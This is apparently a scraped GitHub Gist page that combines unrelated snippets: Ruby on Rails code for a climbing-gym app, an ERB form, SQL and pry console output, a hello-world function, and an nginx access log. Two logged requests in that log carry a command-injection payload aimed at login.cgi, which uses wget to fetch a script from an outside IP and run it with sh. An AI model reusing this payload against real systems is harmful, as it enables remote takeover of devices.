Skip to content

Instantly share code, notes, and snippets.

my_string = "hello world"
def my_func(string):
print(string)
my_func(my_string)
Retrieving logs...
============= i-03ff20b59bb676069 ==============
-------------------------------------
/var/log/nginx/access.log
-------------------------------------
172.31.1.155 - - [18/Jun/2018:12:01:07 +0000] "GET / HTTP/1.1" 502 173 "-" "-" "94.35.162.79"
172.31.47.51 - - [18/Jun/2018:12:20:19 +0000] "HEAD / HTTP/1.1" 502 0 "-" "-" "178.175.245.40"
172.31.47.51 - - [18/Jun/2018:12:23:59 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.62.190.191/r%20-O%20-%3E%20/tmp/r;sh%20/tmp/r%27$ HTTP/1.1" 502 173 "-" "Hello, World" "179.24.119.210"
172.31.1.155 - - [18/Jun/2018:12:32:46 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.62.190.191/r%20-O%20-%3E%20/tmp/r;sh%20/tmp/r%27$ HTTP/1.1" 502 173 "-" "Hello, World" "81.248.44.163"
172.31.47.51 - - [18/Jun/2018:12:33:35 +0000] "GET / HTTP/1.1" 502 173 "-" "-" "188.173.88.28"
## finding the climb based on the route identifier
if params[:identifier].present?
routes = Route.search_identifier("%#{params[:identifier]}%")
route = routes.first.id if routes.present?
climbs = climbs.where(route_id: route)
end
@CodePint
CodePint / climb.rb
Created June 11, 2018 19:52
search climbs by gym
class Climb < ApplicationRecord
include PgSearch
belongs_to :user
belongs_to :route
has_many :comments
end
<div class="route-selectors">
TBA - selectors to narrow down search results of routes
<br>
---------------------------------------------------------------
<br>
By gym: -
<br>
By setter: -
<br>
posted in last: 1/12/24/48/Week
def create_controller_files
if file_name.pluralize.singularize == file_name
puts "*** Warning this is a singular file name, convention dictactes plural names be used for controllers *** "
else
puts "plural file_name confirmed"
end
template "controller.rb", File.join("app/controllers", class_path, "#{file_name}_controller.rb")
end
User Load (0.8ms) SELECT "users".* FROM "users" WHERE "users"."id" IN
(SELECT "memberships"."user_id" FROM "memberships" WHERE "memberships"."gym_id" = ?
AND "memberships"."route_setter" = ?) LIMIT ? [["gym_id", 1], ["route_setter", "t"], ["LIMIT", 11]]
<%= form_tag(@gym, url: { action: "change_gym_status" }, method: 'put' do |f| %>
<div class="field">
<%= f.label :active_status %><br />
<%= f.check_box :active %>
</div>
<div class="actions">
<%= f.submit "submit" %>
</div>
<% end %>
[16] pry(#<RSpec::ExampleGroups::GymsController::POSTCreate>)> Gym.create!(gym_name: "Stronghold gym", about: "Brand new bouldering gym in Tottenham Hale", address: "Tottenham Hale, London", email: "stronghold@gmail.com" )
=> #<Gym:0x00000005caf670
id: 1,
routes_id: nil,
gym_name: "Stronghold gym",
about: "Brand new bouldering gym in Tottenham Hale",
address: "Tottenham Hale, London",
email: "stronghold@gmail.com",
created_at: Mon, 21 May 2018 11:26:25 UTC +00:00,
updated_at: Mon, 21 May 2018 11:26:25 UTC +00:00,
[10] pry(#<RSpec::ExampleGroups::GymsController::POSTCreate>)> post :create, params:{gym: gym_create
[10] pry(#<RSpec::ExampleGroups::GymsController::POSTCreate>)* }
not saved
=> #<ActionDispatch::TestResponse:0x0000000264c498
@cache_control={},
@committed=true,
@cv=#<MonitorMixin::ConditionVariable:0x0000000264a648 @cond=#<Thread::ConditionVariable:0x00000002649748>, @monitor=#<ActionDispatch::TestResponse:0x0000000264c498 ...>>,
@header={"X-Frame-Options"=>"SAMEORIGIN", "X-XSS-Protection"=>"1; mode=block", "X-Content-Type-Options"=>"nosniff", "Content-Type"=>"text/html; charset=utf-8"},
@mon_count=0,
@mon_mutex=#<Thread::Mutex:0x0000000264a9e0>,